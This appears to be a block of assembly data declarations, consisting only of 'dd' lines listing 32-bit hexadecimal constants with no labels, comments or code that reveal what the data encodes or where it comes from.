dd 0BB46715Ah, 0D7170002h, 67EB7597h, 34078F2Ah, 76579C40h
dd 52F97921h, 0F6A25120h, 1F6C7F90h, 7336075h, 295FE07Eh
dd 7DE4FC79h, 0AF84957Ch, 0FECC2540h, 874BEDFEh, 1EB8FDCEh
dd 239C908Fh, 657564EDh, 0FDE37A12h, 6D646988h, 904B6133h
dd 8459FF8Ch, 0CF209D42h, 0D96207E7h, 490074FFh, 8720FE71h
dd 9C977DAEh, 7901FB00h, 8BEFB7CBh, 7D08B94Fh, 21083B3Ah
dd 37907676h, 0D3FD29C9h, 0FDED5C07h, 8C45FFF6h, 2FEEF220h
dd 486B855Fh, 0BEFEFF11h, 7DA40399h, 8C08AD4Ch, 904CBE10h
dd 0F920F2A4h, 0D69474Dh, 53989C9Ah, 0F885052h, 8821297h
dd 8EC48AE0h, 6E4A1957h, 778E5E28h, 9577730Dh, 410230EAh
dd 398D030Ah, 24B73582h, 872E3CB3h, 0DA714FCAh, 8C4AC5Eh
dd 1EDA2220h, 9FC85742h, 0EB2D0359h, 6524468Ah, 40083247h
dd 0E506701Eh, 2AFD070Dh, 8A158120h, 0C148E088h, 44C14Fh
dd 6A1981h, 49E4F27Ah, 30AF281Ch, 10742505h, 0E22F5367h
dd 0E0915CB2h, 54D91A75h, 5CE04304h, 31BE1044h, 6268F096h
dd 3889321Bh, 38213610h, 307854BEh, 3FD1A694h, 0E5080147h
dd 0A2640864h, 0DC081074h, 18F74004h, 33DEC8CEh, 98167282h
dd 9C019F17h, 3903D976h, 6C408B08h, 11032908h, 0DA6C158Ch
dd 0D4487548h, 8E5B7038h, 6C9C280Ch, 0BB42546h, 6BC610A0h
dd 1C9CF6E1h, 9929546Eh, 0C99B26B7h, 0B8294659h, 4592CC50h
dd 0A46C80D9h, 0B82701F2h, 0D1C204DDh, 6A0C4C4Ch, 39192800h
dd 11D0B10Ch, 5A8709Bh, 2ED94FC0h, 0F6A4E6F5h, 0F40C2B02h
dd 860F1A4h, 0E60C42A0h, 1EA48528h, 847BA1B1h, 180CA031h
dd 470BB488h, 0A6EC0509h, 9084609h, 18401495h, 0CB707C50h
dd 146F0110h, 0D1FC0821h, 0EBF1489h, 1138578h, 0E9A65BABh
dd 48100E48h, 2F8814F8h, 0FEFF2176h, 24340E13h, 0D73933CDh
dd 83480838h, 446C089Ah, 0EE36B97Ch, 0D025B705h, 0C84642Fh
dd 0AD009820h, 8460D46h, 0D80F0262h, 18C2804Dh, 21700401h
dd 9A0B0F84h, 6A809428h, 5E803C95h, 84110242h, 116C8F0Fh
dd 9A840191h, 0B9708AA8h
dd 7E1489A3h, 0AD9D0180h, 0C95C0BE1h, 0BE505817h, 76668D4Bh
dd 3AF2ADE1h, 5B038FFBh, 84F93675h, 5D1C7333h, 9764E8FDh
dd 385A9FB2h, 48E30175h, 6B47323Ch, 631EABB4h, 74EC5A7Ch
dd 3C0100A4h, 2751512h, 41253CAEh, 3B6B7964h, 5B439C5Ah
dd 6CCB8DBFh, 3C0B0109h, 0A9751C84h, 0DA4AEF20h, 5762A2C1h
dd 69FB5C28h, 8E5CC859h, 0A0D2F2Dh, 2DBFD4ECh, 662ED4D0h
dd 0EB352D0Bh, 74A20406h, 63706982h, 9D2252h, 0FF071C81h
dd 28B59AE4h, 2438200Fh, 0ECAB1802h, 0B700143Ah, 3ED9D2C9h
dd 1B34EF33h, 30431F25h, 612F5C88h, 10FD01AFh, 30A9AA62h
dd 1AF2275h, 570328FFh, 94FF0164h, 1652B03h, 1503CAFFh
dd 0E5FF0166h, 167030Ah, 385F2FFh, 0F9017F68h, 0BF690342h
dd 3A1FC01h, 0FE015F6Ah, 0AF6B0350h, 328FF01h, 0B8016C52h
dd 3EBE241h, 1E100D06h, 33886D50h, 0E90E83C9h, 40EED9B0h
dd 5BF42474h, 13731E81h, 877FC0C8h, 0E2FCEB83h, 0B30E34FAh
dd 2120CA94h, 0B9377880h, 0FDECF9EFh, 52D8C2FDh, 0B0820103h
dd 870C90D8h, 0E8B3F3C1h, 43CE94C0h, 863CED78h, 1EBF8726h
dd 0F3405D64h, 7B518CFh, 941BC98Ah, 5B8D9073h, 3C64BDAFh
dd 0E100EC40h, 0C34D543h, 7EC59700h, 0F4F5CB6Ch, 0FDA4030Eh
dd 0E80BE663h, 9A43E3B0h, 880C4F00h, 0D4F7F4D5h, 1C7E874h
dd 91787C0h, 0C893D786h, 197F0F37h, 4CB1AE07h, 0C57A0B5h
dd 808D9740h, 0F12F057h, 89F37B92h, 5080510Fh, 3449E19Ah
dd 9D857700h, 18787DB3h, 8EA607B1h, 8028743Dh, 0D42C8A1Eh
dd 3C749B74h, 50D88B78h, 0E9EC5E68h, 7866F6F0h, 9DDB0C5Dh
dd 0B3391EB8h, 80D66F3Ch, 6CEFAF26h, 786E5174h, 0D4A9289Fh
dd 902D080Ch, 0D783CEF9h, 2A8D9Ch, 60174A88h, 0D0061FB1h
dd 0BF19E0D8h, 80E36015h, 3C41EA1Ch, 9107D7F0h, 2F0EB3F0h
dd 2A453B37h, 6274CC00h, 0AA3D27h, 14539B36h, 2C47A345h
dd 1772630Fh, 696A80F5h, 0A09DBD78h, 38E938Ch, 8899D62Dh
dd 83C8615h, 9370E2Ah, 0DC11A117h, 9092D4B1h, 0EE1C0A15h
dd 8E430088h, 0BD0C0483h, 0E19A48CCh, 7B530838h, 0C0359BD8h
dd 16D454Ah, 74E95777h, 0F9E3D678h, 0ECE4C769h, 2AA5ADBAh
dd 38527CD1h, 0EF796213h, 723A1059h, 0B87676B5h, 0C2B511A0h
dd 0D11929DEh, 8DF827A4h, 6D3D5497h, 2D45033Ah, 0F0775BCAh
dd 7942250Fh, 5DD1855Dh, 46529407h, 68302EBCh, 13054633h
dd 4558F30Ah, 80ED2FA8h, 0EDF4A942h, 9D22B661h, 0C1C45BAh
dd 0D6BDAF85h, 60B7D3ADh, 2F86A7D0h, 51680646h, 32E7ACAAh
dd 0E52A8E1Dh, 0EE300564h, 0FE7BDB1Ch, 0CA307238h, 383258FBh
dd 357E3234h, 77614325h, 5857E63Ah, 0C3D69D81h, 343605Bh
dd 392C3003h, 5E207C1Ch, 4F424143h, 374CA153h, 0C87E12BEh
dd 501D3127h, 72337784h, 79BE93ABh, 2C31250Dh, 30E00C38h
dd 336E1F57h, 9355A744h, 36F03D7Ah, 575B5425h, 3F31A7ECh
dd 4FB43035h, 2DF4AEDDh, 414E0949h, 0C4DD5952h, 0A27D8D2Ch
dd 45521C7Ch, 5108E854h, 0DE9FB232h, 0BFCEBE4Fh, 0B2BF3574h
dd 0DBA5907Ch, 366BDE0h, 4786818h, 412A9214h, 2C5E5B5Fh
dd 6B5CA5Dh, 51380A9Fh, 0B0C8A158h, 4C930AFBh, 0A9205349h
dd 0ED50172Ch, 6576174Ah, 0F74879AFh, 9FFC74FCh, 50057C90h
dd 29565341h, 0B4A57BB8h, 8A2DA92Eh, 52BAAE49h, 2E41B218h
dd 59540591h, 38404550h, 22203735h, 843EE52Fh, 0ABE7EB7Ch
dd 32776425h, 50F11067h, 49447057h, 52134833h, 9544EC65h
dd 0CA3094CDh, 65CACC53h, 1387F827h, 0F846796Eh, 0F1194147h
dd 33184C59h, 755568C9h, 38A16B67h, 8E3B022h, 9F31E233h
dd 1A532A56h, 0EB7571E0h, 43F54109h, 0F60C5A78h, 2B2C53FCh
dd 0FBBC6030h, 2ECE7779h, 7F4FDA6Ah, 0FACC036h, 1A977BBDh
dd 61FF9F2Ch, 0EBAD6EE6h, 0A49F9CD8h, 0DC8747FDh, 0E1DE5EBBh
dd 0A92E312Fh, 4F0D15A2h, 346A364Bh, 6D58C1E6h, 27867E79h
dd 0A0D1BF1Eh, 66EB2D17h, 0E7EF2C3Ah, 128663E2h, 7349132Ch
dd 7126910h, 74AE7811h, 303D19CEh, 68FF7058h, 53251E12h
dd 57387C41h, 6E12F93Fh, 1285AB64h, 670A4C19h, 2990B721h
dd 0DE412F69h, 522D4290h, 0A94029F5h, 442B8DD2h, 0FB44559Fh
dd 30034D5h, 0D7544D47h, 1549EE22h, 2009D72Dh, 1E2B6A5Dh
dd 63E2951Ah, 14B42BAFh, 0D2CBFEF5h, 93F72E6Bh, 426684Dh
dd 0DCC8F5F0h, 0EC3F6EDFh, 0EBCF39A0h, 0A3023436h, 6E0873F5h
dd 79E8024Dh, 7F6545B8h, 6A75877Eh, 0F32F1C38h, 5ACD657Eh
dd 0E67DB6D3h, 781CCFF0h, 3D8F2FE9h, 48956C89h, 31A86616h
dd 915548AEh, 283DE438h, 0AF92C43Fh, 0EB927DA6h, 0C92A5CDCh
dd 0D6A45C09h, 0C4F3EA46h, 12F16925h, 2B09DD25h, 0BEB2AB2Fh
dd 0B4EBDFDDh, 2E00E3AAh, 3E1B933Ch, 0B00C4F14h, 4C2C4FA5h
dd 4E033A53h, 9033223Dh, 0DD483C3Eh, 2A2F1A2Ch, 22F41B0Eh
dd 42410E98h, 0A454C2Ah, 442A4FF0h, 0FDA00959h, 49F34C4Dh
dd 94F82E48h, 157C5AE4h, 1AFB7B1Ch, 2D256562h, 286E9DC3h
dd 0F32EC30h, 0B19AA228h, 4D5429CAh, 95477A64h, 8AAF4957h
dd 0DD209348h, 0A10F948Ah, 926D8094h, 2F09143Ch, 587B5825h
dd 0C3472AE0h, 11FFCAD2h, 64C533DAh, 19346D6Bh, 5495C2D3h
dd 7078419Fh, 2E1718A5h, 26736105h, 0B43B5782h, 0A3EC8D1Fh
dd 0CE71EFC8h, 1C43110Ah, 0D81DDE9Ah, 0D64F2D59h, 73F1C090h
dd 43BA5B2Fh, 393284D8h, 3B1F6934h, 9B7AC4BDh, 0D1A76814h
dd 1560FA41h, 1AD54645h, 0BC4DB900h, 0BB242AA9h, 64CA32B1h
dd 34064C2Fh, 52E320F4h, 6AD3A0Bh, 4D41C073h, 0FF0991DBh
dd 0A384B519h, 285C3471h, 614B50B9h, 52A83D27h, 5A5BF1Eh
dd 0AC675F49h, 1DC93BACh, 6B126EECh, 7F6F4504h, 0AD5E54E5h
dd 22D62790h, 0AD142083h, 6B5359DDh, 0E06ADCC5h, 0F231B240h
dd 0B055B049h, 2407B162h, 14204D39h, 20A1C855h, 526E9DB0h
dd 309C7968h, 3C2DA5CAh, 108AA49Dh, 477B4145h, 1A4C2D49h
dd 0BA27693Fh, 6E2532DAh, 0EAEC93E2h, 46B97454h, 900633A5h
dd 9E65520Ah, 1D553A70h, 0B83E48F1h, 5F2BD736h, 0FFCB0A38h
dd 5D2D886Dh, 0F403B7B9h, 88B3CA99h, 4E1D0931h, 7CA958DFh
dd 634444A3h, 4F4AA2FBh, 0F82A742Dh, 8BEF92E2h, 6EEF4ED4h
dd 5B3E4300h, 38A4B8A6h, 6AA7433Ch, 7A83764Bh, 48489CE7h
dd 0F7A9DF73h, 3C526F6Dh, 0CD888540h, 0A4860A96h, 0D384F6BAh
dd 0FC4A3FCFh, 736A40BAh, 68C34059h, 45F92C55h, 95538C58h
dd 5239F9C6h, 29289675h, 3BB4B4FDh, 57266858h, 308A5059h
dd 9241696Dh, 4ABA5320h, 7C680A1Ah, 5BA65E95h, 3EBAD24Bh
dd 56503444h, 2401F414h, 4BBD426Ch, 0ED7927FAh, 0C012A1EFh
dd 0A444CD1h, 556A5C92h, 2C4B25DAh, 0AEEC64BEh, 0F84203B2h
dd 0F4A423B9h, 9220B7EFh, 921CDAEEh, 3C47637Ah, 0D1636E92h
dd 5752B244h, 1A3749D1h, 6D2957ABh, 8EADB7BAh, 0E7E52EAAh
dd 73155C0Bh, 3FBDBC2Eh, 5EDAB2FCh, 2D8FC379h, 5F684B43h
dd 0F1771F9Ah, 3895DA20h, 3A145DA5h, 57793093h, 4F46A253h
dd 405EE85Ch, 2AE97091h, 73C950ECh, 0A421243Fh, 7CC4DFC9h
dd 5495F186h, 91ACAA60h, 7C6CA963h, 0D7274885h, 515F8832h
dd 0F170A319h, 616C4973h, 7057247Fh, 2CEAB7A3h, 40E8B09Fh
dd 417AA8E9h, 0F2A8855Ch, 0C4258897h, 80715244h, 52B9CAB4h
dd 66548B26h, 7B9AD44Bh
dd 4624937Eh, 0F497F96Ch, 9A355D68h, 0EB9875EEh, 340F502Dh
dd 46FF7BD2h, 626ED73Ch, 9DA444D1h, 42764F7Fh, 150B414Eh
dd 0CE5F9491h, 0ED4491C5h, 1A59242Eh, 0CE427220h, 7A494015h
dd 0F3C98A47h, 0BA552525h, 977AC7D4h, 219ECC69h, 0C9B73D5Ah
dd 4190538h, 2F786A6Bh, 2D27C0CAh, 57B8A4FCh, 0FD5ABF01h
dd 0CE785170h, 775A80BFh, 78D508E2h, 0D6808FCFh, 4EF5CE9Fh
dd 4D29924Ch, 0BAB442CBh, 11AFADDh, 0CCF16AE9h, 7E6C0693h
dd 68B0F500h, 1585AA6Dh, 569D5480h, 257026DBh, 4FEEFE66h
dd 1FEE6E4Fh, 0BF2FB467h, 6773D0D2h, 0FED3F600h, 0FB007F15h
dd 45C250CBh, 0EB49EA05h, 6E376197h, 0C5F5809Ah, 2860A146h
dd 0D02E2743h, 7600AF9Ah, 2DE8F1B7h, 883A9242h, 5959803Dh
dd 0C5ACE16Ah, 0EE806721h, 0A977442Dh, 7B467F74h, 4E5E808Fh
dd 76890D42h, 0BAF03B06h, 4A879020h, 0B58B7A47h, 0D574C4EBh
dd 0C122BFFAh, 0D7095B47h, 6BA580ABh, 0B2AFACF4h, 0CE723D10h
dd 0EB80CC51h, 0B1807BD2h, 7529794Dh, 5FCDED4Eh, 807A4034h
dd 630081B5h, 2C7D3161h, 8190787Fh, 73F6427Ch, 809B6CF2h
dd 73AD38D5h, 67720182h, 32488161h, 0FA503D89h, 137D8A93h
dd 2907BE52h, 38223931h, 0AB096220h, 3CA37E83h, 8AC83AB8h
dd 0D78BE49Eh, 87EB65E4h, 0FD010AA1h, 8B4B8068h, 0EF0E77FFh
dd 31CA26CBh, 5C97B0F0h, 0BB72174Dh, 2C9F065Fh, 693D1C66h
dd 142FD70Dh, 1F3A301Bh, 2E1ED16Fh, 2F6E31B8h, 0B2F7706Fh
dd 7EE5794Eh, 8199D9B5h, 0AD65206Dh, 0B10D5D5Ah, 5EA06A9Ch
dd 3B3CFB63h, 0D14937ABh, 5E2ABA2Dh, 2BF35F52h, 811D78Eh
dd 0D63B6223h, 460D2214h, 11857765h, 455B021Bh, 0BB5D4353h
dd 70022807h, 31463E14h, 2990752h, 320D5371h, 950729EDh
dd 3E0D7202h, 9907D233h, 0D537302h, 729ED34h, 0D740295h
dd 7D2353Eh, 53750299h, 29ED360Dh, 76029507h, 0D2373E0Dh
dd 77029907h, 0ED380D53h, 2950729h, 393E0D78h, 29907D2h
dd 30AD5879h, 94075DFDh, 9F147A02h, 23433CA3h, 9D32117Bh
dd 24C091E1h, 7EC40F60h, 3129188Ah, 0B203B404h, 4328AC6h
dd 402B106Eh, 4331414h, 0C22303D9h, 44D3439h, 2324039Ch
dd 0D9043594h, 39C22503h, 9C044D36h, 94235E03h, 3D90437h
dd 3839C226h, 39C044Dh, 3994232Ah, 2803D904h, 4D3039C2h
dd 29039C04h, 20BD9C23h, 70862D70h, 0BB658E5Fh, 0B223D09h
dd 914B12Bh, 0AD65B12h, 0D9075D15h, 0F8275102h, 0D8590B43h
dd 0BD09495h, 452601D1h, 0CBDD7351h, 0D0204980h, 1321DC0Bh
dd 370C7454h, 5944080Bh, 0B0DBC9Dh, 6E550112h, 9B0B8620h
dd 69093250h, 1890B94h, 6F09944Fh, 149A40Bh, 1AC0BA50h
dd 0DB01250Bh, 0A516DC26h, 700122FFh, 7D9C85DDh, 9419923h
dd 440B4A61h, 0D49B5301h, 42B80BA1h, 64094432h, 8E10B94h
dd 6609CA46h, 126520Bh, 67520947h, 3201910Bh, 94680948h
dd 4A01890Bh, 0B6A0994h, 4B014CA4h, 0BA56B09h, 4C650122h
dd 0B296C09h, 29BA0113h, 150B3B09h, 0DE88143Ah, 22882791h
dd 10675A51h, 1440B43h, 0A14CB358h, 7001A20Bh, 4A638143h
dd 5601440Bh, 0BA19CB3h, 422E42B8h, 62DD7359h, 6E254E14h
dd 11C20B29h, 6D09944Dh, 14CA40Bh, 0A42C09BCh, 143C560Bh
dd 2E46BE22h, 0BF443E21h, 2EC22F48h, 12DC393Fh, 0C27C315Ch
dd 5B101139h, 52155443h, 95075D4Ch, 57479FF0h, 7CA4E49h
dd 0A62002ECh, 34078504h, 22282B99h, 4A50FA2Ch, 70E1152h
dd 46910299h, 4C3E1614h, 4D07D64Bh, 68779F58h, 0D30795FFh
dd 0DDD9F167h, 65F5B643h, 8E419907h, 7F554792h, 0EC23076Bh
dd 4544943Eh, 590747ACh, 3F7E9F41h, 7AEFD4Eh, 6BDFC1ACh
dd 7ACFE7Fh, 873E41B3h, 5446454Ch, 33CB07DAh, 85B7EE2Dh
dd 0CF042407h, 484752A3h, 59075046h, 4FE2982Dh, 7A0D157h
dd 47900299h, 514DA514h, 549307DCh, 7EE77C58h, 9C6ACB11h
dd 6588B181h, 7760CE6Dh, 396B1785h, 0CB606259h, 0EF9C9C60h
dd 1661250Ah, 210AEF64h, 0A2F0CE62h, 0AEF1C63h, 0F0CE6421h
dd 0EF1C65A2h, 0CE66210Ah, 1C67A2F0h, 68210AEFh, 69A2F0CEh
dd 260AEF1Ch, 0BC73A86Eh, 0F5AC6B29h, 0BB22298Ch, 0AB7DC997h
dd 521C27DFh, 2952E0C4h, 0A7184217h, 5F72140Ah, 4E3CF4D9h
dd 29D50AFFh, 1C1CF248h, 0FF273487h, 66749332h, 689A3AC7h
dd 16D4517Ah, 0BCBF0C74h, 0B089B809h, 6C2E3A10h, 297487BCh
dd 0D9182C3Ah, 40C80F21h, 0F224437Eh, 5E901F25h, 0E48726FCh
dd 2D213F2Ah, 0C80F2BF9h, 5C437E2Fh, 901F3DF2h, 8727FC3Fh
dd 213F60E4h, 0F20F97Eh, 63D72EC9h, 0C88B843Eh, 21EC18D0h
dd 3F40E487h, 25F92421h, 7E5EC80Fh, 2AF22643h, 0FC2D901Fh
dd 2FE4872Bh, 0F95C213Fh, 3FC80F3Dh, 0F227437Eh, 7E901F60h
dd 0E28720FCh, 9EDC692Eh, 1DC8A274h, 0FC219018h, 24E48740h
dd 0F925213Fh, 26C80F5Eh, 0F22A437Eh, 2B901F2Dh, 0E4872FFCh
dd 3D213F5Ch, 0C80F3FF9h, 60437E27h, 901F7EF2h, 5A2EFC20h
dd 4C6AAC68h, 0B044B9A9h, 2421183Bh, 0C90F25F9h, 0C4C5DD2Eh
dd 18486023h, 0CE2E4B76h, 1D60DAE8h, 0FC249018h, 2EE28725h
dd 21101F78h, 0E48724FCh, 0AF5A3F25h, 0B818B910h, 24E48721h
dd 0F025213Fh, 440E4320h, 0D079654Bh, 0E0FD3AADh, 4614232Bh
dd 0D49D0901h, 1852B818h, 45504FA0h, 0EAA55243h, 182E9AD4h
dd 0D0EBB5Bh, 0D3FAB661h, 475B4FB9h, 18A650FAh, 48535514h
dd 0DF8A02A8h, 1885007Ah, 79617061h, 0F9D8F4CEh, 59305303h
dd 184C0629h, 0DE301252h, 7030A106h, 4F23432Eh, 0EF53C44Dh
dd 5F438E0Bh, 85695807h, 0F183D3Ah, 0C2ED9201h, 0D1460840h
dd 3C70DD0Fh, 0ABDA4F42h, 0E83A386Dh, 292812BAh, 1AFDA4F8h
dd 757B792Ch, 43DDEEFBh, 25BFBCBDh, 98A3AA1Eh, 1A39FE5Ah
dd 1A01A53Eh, 20225B34h, 46A74153h, 504A5DC5h, 0B699AE93h
dd 0AFA5800Eh, 0AC3A5A94h, 43CEF6D7h, 9AA52Eh, 0D5A52459h
dd 4C96BBC8h, 9F088C28h, 30461F9Bh, 116C2308h, 3633872Eh
dd 0C1079B19h, 6DE23230h, 1CF323A8h, 0A5622Fh, 42163A91h
dd 0C98DAB6Fh, 0BDD19A7h, 4762572Eh, 14497C47h, 49E091A8h
dd 4BD1D014h, 8429D240h, 328AA422h, 0A7842185h, 0F4AEF8F2h
dd 38932C8Eh, 93743449h, 0A4144968h, 849C491h, 7552413Ch
dd 48E2E4D2h, 4C325F2Ah, 2D767205h, 5F132055h, 0CF399BFh
dd 2F0E4C20h, 57392E30h, 5556C991h, 3C594EF1h, 0E448E96Ah
dd 22B41B77h, 0DEDA36CDh, 3F0B2306h, 4A2D42FCh, 387D18C4h
dd 38438F0Eh, 37A546E8h, 0AA343672h, 0EA341F67h, 0FE34A1DBh
dd 8D560199h, 0F601A630h, 73B45C9Fh, 0D56E0E27h, 59D7661Ah
dd 7F427AFh, 424B09BFh, 1E96622Fh, 0F7F6B528h, 35B47BA5h
dd 98A3BB8Bh, 10A444D0h, 0BED647BAh, 6DBD2ACDh, 0B438FF5Ah
dd 5D1BD040h, 974FFE93h, 84AA574Dh, 654C6838h, 7AD9DEB7h
dd 4F1A3832h, 5A824A16h, 4823D81Dh, 18B2552Dh, 2BEA9B57h
dd 6920701Eh, 2CC065DDh, 308EFC28h, 85DB26B3h, 0D338F3AFh
dd 0B8929FFh, 29FE5AC7h, 472C1E3Eh, 0F529D0F0h, 0D000A2BAh
dd 1A5AA953h, 43952C46h, 0DBD7C2BDh, 9F446400h, 0FC2824FEh
dd 0ADDB5452h, 8D449CDDh, 3D2E4529h, 0F1FC6B28h, 0D87BEB5Bh
dd 80DA4B46h, 0C478F1D7h, 0D34BCE44h, 1FE864AFh, 64CBD5Eh
dd 9B84FFE4h, 50D0528Eh
dd 0C4D45B2h, 0AC6EA64Dh, 5094E43Eh, 12BB5B34h, 0E9D4EC9Dh
dd 0B418FD6Bh, 8CB4579Dh, 26702A40h, 9DFC5E3Ah, 3823204Dh
dd 23663569h, 0C57D4B34h, 0E54D2BBCh, 94238A2Ch, 0B6AFB580h
dd 7C53CBACh, 572ACF69h, 9DCAAD18h, 0FE0350DDh, 50442D55h
dd 87B81E7Fh, 9E45C540h, 787098A7h, 4F53013Dh, 54454B43h
dd 0C752CD5Fh, 27963ACFh, 8186367Dh, 6A223DE1h, 411BAB5Bh
dd 7462EAECh, 25F4481Dh, 644903F8h, 0E9DAE791h, 2D18FB2Dh
dd 1F8A96F8h, 46168C1Dh, 36491C7Bh, 96B48559h, 7E4C2635h
dd 0F8B59D2Bh, 4CA734BFh, 4B29286Bh, 3AD42F7Bh, 5B0BF930h
dd 0DA9069DCh, 0CA2445h, 56D9AE5Ch, 63A5D473h, 906D6360h
dd 4F26EC92h, 0A1F94DD1h, 93565002h, 36F5AD67h, 5A4D91C0h
dd 0FBC944D5h, 0EC6F69FDh, 4E08DBBAh, 0CF315BC2h, 0A0C9AEBDh
dd 0B36B3DF5h, 2D7443AFh, 0CEBA5761h, 702DD07Bh, 0A4647969h
dd 74346805h, 53A1509h, 0B89C5DCBh, 0FE67DAC9h, 0E55C69CFh
dd 5764AD39h, 6352D09Eh, 278D7014h, 0D02B1EFDh, 7AA91C34h
dd 39A7469Dh, 5B049CDDh, 0C469BB66h, 885B10A7h, 498759AFh
dd 34A116DEh, 3971D5F2h, 35DA31C8h, 0B27F2730h, 84241E92h
dd 0A126B915h, 5577ED3Ch, 2AF2BA15h, 0E251E8D6h, 9D44B42Eh
dd 3552CBD6h, 0ADE6A168h, 859B13DDh, 0D228F2AEh, 369284Ah
dd 800A0147h, 0AD76B756h, 9392FD2Dh, 0D40C4AAAh, 40936279h
dd 24A17721h, 0E43A7D7Ah, 24169A3Ah, 25BF724Fh, 1556BE8Ch
dd 0E9D1A3ADh, 282C2DE4h, 92E4D0CCh, 0AD70B850h, 0C243201Ah
dd 7723CE75h, 0E101E67Fh, 4A622B61h, 0E43E9430h, 3869291Eh
dd 0ED641D33h, 0BED9D5FBh, 62CD98F7h, 7266960Eh, 9B25D7EAh
dd 68446608h, 0E47C2DDDh, 0B72C1C52h, 8CA1AFEh, 4955D9A7h
dd 5FCBB0F6h, 6015909Ah, 13290CA3h, 66312E01h, 0FE27424Bh
dd 0A50F4029h, 252CDE25h, 4A3AA5Ah, 0EBA54442h, 60423EE2h
dd 61B6D6BDh, 91EF69FBh, 1D1FF538h, 0C912DF75h, 893E5BC9h
dd 16A16EA3h, 29289FC2h, 0A3D22E45h, 0F12C482Dh, 29BD4567h
dd 2CF74D24h, 0B4A868BDh, 0E1288CFEh, 0DD63CB0Bh, 0D74B5F47h
dd 0C2EBB846h, 24388D53h, 16CEDB44h, 0C00A8DBAh, 749F6443h
dd 0EF54991h, 94B517E9h, 0E462B159h, 3BD1D26Dh, 56F4FCF8h
dd 1F95AA81h, 5503F7EAh, 0AC26CB3Fh, 65C7C12Ch, 0F5AD091Ah
dd 3C877C36h, 0D2FED66Bh, 3EF7C1D0h, 0B25FF4BDh, 6F574B82h
dd 3A4805ABh, 0C4B7EA5Ch, 50712FDFh, 9C63C9B9h, 73E5202Bh
dd 0D2E4B7EAh, 480A0839h, 0DAD6BBD7h, 0FCABB70Dh, 0A1E4CF55h
dd 64D6CEA1h, 99A21D25h, 3E70B275h, 34908DBDh, 904F33B9h
dd 42154A16h, 6AE8519Eh, 2CDA14D7h, 1FE29FFCh, 0BE497BD5h
dd 6D8F22EFh, 7914B2FCh, 0E1AD6495h, 55534C22h, 0E5FAC449h
dd 50C83F5Bh, 4C507E28h, 729E6844h, 1B750240h, 6382BC29h
dd 53DF835Ch, 0A5205B2Ch, 281D9982h, 42D22F1Ah, 2965395Fh
dd 95556E34h, 2A450361h, 8244CFC3h, 1CCDFE4Fh, 0F6491741h
dd 6C1846E7h, 954D281Ch, 74FC03CCh, 0B4A16C73h, 7F1F6144h
dd 5482D5C4h, 77078969h, 1C84B7C4h, 69675C9Fh, 0E4F66BF5h
dd 346F2A89h, 151C51EAh, 9034AB4Fh, 0F4BB1C50h, 0C9EA2013h
dd 903B0A9Bh, 15742A80h, 489DD6B5h, 1C017235h, 0C54C4454h
dd 6409A52Eh, 50388960h, 6CA69C27h, 54796C25h, 5AFDDADDh
dd 0AE2F5FAEh, 12BFA465h, 0B619AADCh, 84957B1h, 4C0C1EDFh
dd 0E17FF94Fh, 64FF8422h, 0D48B2906h, 41E64EF8h, 1612295Dh
dd 0AF03C684h, 81439318h, 1099B188h, 981C19A0h, 0D0211409h
dd 137081AFh, 181110ACh, 197833B2h, 0C313210h, 4240809h
dd 28B77C46h, 0EFCAEC2Ch, 92FC19B1h, 31F80891h, 0B6E021F0h
dd 19F40899h, 8419980h, 1999F079h, 12E809ECh, 48E024E4h
dd 10D891DCh, 0D43348E8h, 948D011h, 0CC086649h, 9C86411h
dd 91C048C4h, 44B822BCh, 0AC89B0B4h, 0A424A812h, 9C91A048h
dd 94449822h, 12808988h, 486C2478h, 225C9164h, 444C4454h
dd 30123C89h, 24482C24h, 14221C91h, 8B081044h, 91F84484h
dd 0E491F008h, 0D444DC22h, 12C489CCh, 48AC24B8h, 229C91A4h
dd 848C4494h, 6C127889h, 58486024h, 48225091h, 89303844h
dd 241C1224h, 910C4814h, 90FC1004h, 0E844F422h, 12D489E0h
dd 48C024C8h, 22B091B8h, 98A044A8h, 84128C89h, 6C487824h
dd 5C226491h, 894C5444h, 24381240h, 912C4830h, 44182224h
dd 0F8880410h, 12EC818Fh, 48DC24E4h, 22C891D4h, 0A8B444BCh
dd 9812A089h, 80488C24h, 70227891h, 89606844h, 24481250h
dd 9130483Ch, 441C2224h, 4890C14h, 28EF811h, 48E824F0h
dd 22D491DCh, 0B4C044C8h, 0A412AC89h, 98489C24h, 84228C91h
dd 89747C44h, 2464126Ch, 9154485Ch, 44402248h, 28893038h
dd 18242012h, 0C911048h, 8DF48870h, 0E009E9D9h, 0D024D812h
dd 0B891C448h, 0A044AC22h, 128C8998h, 95F02180h, 11E8B342h
dd 70092278h, 89686C44h, 24581260h, 91484850h, 44382240h
dd 1C892830h, 0C241412h, 44B80848h, 9600B3F4h, 0DA507410h
dd 874C4C2Ch, 364BB934h, 991C9A34h, 2C309D24h, 8C90C968h
dd 43588CFCh, 8013D384h, 9CC44864h, 0B31458D8h, 8CF48864h
dd 24EC09B2h, 91E448E8h, 44DC22E0h, 0C489CCD4h, 602DBC12h
dd 0BC318019h, 89B85C08h, 880988B0h, 2DACC5DBh, 0C404180Ch
dd 0A4994CB3h, 991A039h, 9D84198h, 3096FE1Ch, 7C198465h
dd 0A6A8102Ch, 70784424h, 916809C8h, 445C2260h, 44894C54h
dd 38243C12h, 2C913448h, 18442022h, 12088910h, 19112E04h
dd 350E7536h, 347C098Fh, 8FE0EC32h, 6F79077Bh, 104E7DF5h
dd 0B8789173h, 9E787BCBh, 6C1BB13Dh, 0BC04BB6Fh, 0C208D161h
dd 6DE05A78h, 46F566FCh, 30431134h, 61687508h, 0BF657943h
dd 1FBA4F98h, 902D88D4h, 957567F0h, 496278D4h, 4136DE52h
dd 0C2594F42h, 3C78FB7Fh, 4831AA4Eh, 20AD6C53h, 5EE031FFh
dd 2866029Dh, 64612814h, 565539D4h, 725F1450h, 6290A17Ch
dd 4248A3C6h, 0DCE19652h, 7429A270h, 10304172h, 89796D69h
dd 0DF76FD6Ch, 0E1FF5D84h, 66647308h, 825372C1h, 0DF41BE67h
dd 0AFBD342Dh, 41BE90C9h, 7C1C7320h, 0B5E93871h, 59F3511Dh
dd 7D8E2969h, 7C771EFCh, 0A064651Dh, 1295B9F3h, 822662Dh
dd 85C2FF7Bh, 92C41193h, 10817D10h, 46627568h, 6ADB4708h
dd 9173C231h, 4AF22D08h, 7710071Ah, 408D6874h, 496D61FCh
dd 6C3B3D62h, 0CC15F2EFh, 6DF4AE7Fh, 3A288E7Ah, 41004CACh
dd 4445544Eh, 564E4F4Ch, 7563C703h, 72AC0A6Dh, 0E203932h
dd 4D4E4441h, 61A8113Bh, 7B146556h, 359A7D52h, 0B1BB184Bh
